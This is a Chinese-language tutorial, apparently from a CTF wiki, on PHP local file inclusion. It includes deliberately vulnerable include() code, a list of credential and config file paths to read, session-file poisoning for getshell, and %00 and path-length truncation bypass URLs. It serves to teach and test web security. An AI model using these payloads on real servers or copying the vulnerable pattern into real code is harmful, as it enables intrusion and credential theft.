0×01檔案包含簡介
服務器執行PHP檔案時,可以通過檔案包含函式加載另一個檔案中的PHP代碼,并且當PHP來執行,這會為開發者節省大量的時間,這意味著您可以創建供所有網頁參考的標準頁眉或選單檔案,當頁眉需要更新時,您只更新一個包含檔案就可以了,或者當您向網站添加一張新頁面時,僅僅需要修改一下選單檔案(而不是更新所有網頁中的鏈接),
檔案包含函式
PHP中檔案包含函式有以下四種:
require()
require_once()
include()
include_once()
include和require區別主要是,include在包含的程序中如果出現錯誤,會拋出一個警告,程式繼續正常運行;而require函式出現錯誤的時候,會直接報錯并退出程式的執行,
而include_once(),require_once()這兩個函式,與前兩個的不同之處在于這兩個函式只包含一次,適用于在腳本執行期間同一個檔案有可能被包括超過一次的情況下,你想確保它只被包括一次以避免函式重定義,變數重新賦值等問題,
漏洞產生原因
檔案包含函式加載的引數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他惡意檔案,導致了執行了非預期的代碼,
示例代碼
<?php $filename = $_GET['filename']; include($filename);?>
例如:
$_GET['filename']引數開發者沒有經過嚴格的過濾,直接帶入了include的函式,攻擊者可以修改$_GET['filename']的值,執行非預期的操作,
0×02 本地檔案包含漏洞
無限制本地檔案包含漏洞
測驗代碼:
<?php $filename = $_GET['filename']; include($filename);?>
測驗結果:
通過目錄遍歷漏洞可以獲取到系統中其他檔案的內容:

常見的敏感資訊路徑:
Windows系統
c:\boot.ini // 查看系統版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS組態檔
c:\windows\repair\sam // 存盤Windows系統初次安裝的密碼
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼
c:\windows\php.ini // php 配置資訊
Linux/Unix系統
/etc/passwd // 賬戶資訊
/etc/shadow // 賬戶密碼檔案
/usr/local/app/apache2/conf/httpd.conf // Apache2默認組態檔
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置
/usr/local/app/php5/lib/php.ini // PHP相關配置
/etc/httpd/conf/httpd.conf // Apache組態檔
/etc/my.conf // mysql 組態檔
session檔案包含漏洞
利用條件:
session的存盤位置可以獲取,
1. 通過phpinfo的資訊可以獲取到session的存盤位置,
通過phpinfo的資訊,獲取到session.save_path為/var/lib/php/session:

2. 通過猜測默認的session存放位置進行嘗試,
如linux下默認存盤在/var/lib/php/session目錄下:

session中的內容可以被控制,傳入惡意代碼,
示例:
<?php
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;
?>
漏洞分析
此php會將獲取到的GET型ctfs變數的值存入到session中,
當訪問http://www.ctfs-wiki/session.php?ctfs=ctfs 后,會在/var/lib/php/session目錄下存盤session的值,
session的檔案名為sess_+sessionid,sessionid可以通過開發者模式獲取,

所以session的檔案名為sess_akp79gfiedh13ho11i6f3sm6s6,
到服務器的/var/lib/php/session目錄下查看果然存在此檔案,內容為:
username|s:4:"ctfs";
[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6
username|s:4:"ctfs"
漏洞利用
通過上面的分析,可以知道ctfs傳入的值會存盤到session檔案中,如果存在本地檔案包含漏洞,就可以通過ctfs寫入惡意代碼到session檔案中,然后通過檔案包含漏洞執行此惡意代碼getshell,
當訪問http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,會在/var/lib/php/session目錄下存盤session的值,
[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a
username|s:18:"<?php phpinfo();?>";
攻擊者通過phpinfo()資訊泄露或者猜測能獲取到session存放的位置,檔案名稱通過開發者模式可獲取到,然后通過檔案包含的漏洞決議惡意代碼getshell,

有限制本地檔案包含漏洞繞過
%00截斷
條件:magic_quotes_gpc = Off php版本<5.3.4
測驗代碼:
<?php $filename = $_GET['filename']; include($filename . ".html");?>測驗結果:
http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00
路徑長度截斷
條件:windows OS,點號需要長于256;linux OS 長于4096
Windows下目錄最大長度為256位元組,超出的部分會被丟棄;
Linux下目錄最大長度為4096位元組,超出的部分會被丟棄,
測驗代碼:
<?php $filename = $_GET['filename']; include($filename . ".html");?>EXP:
http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.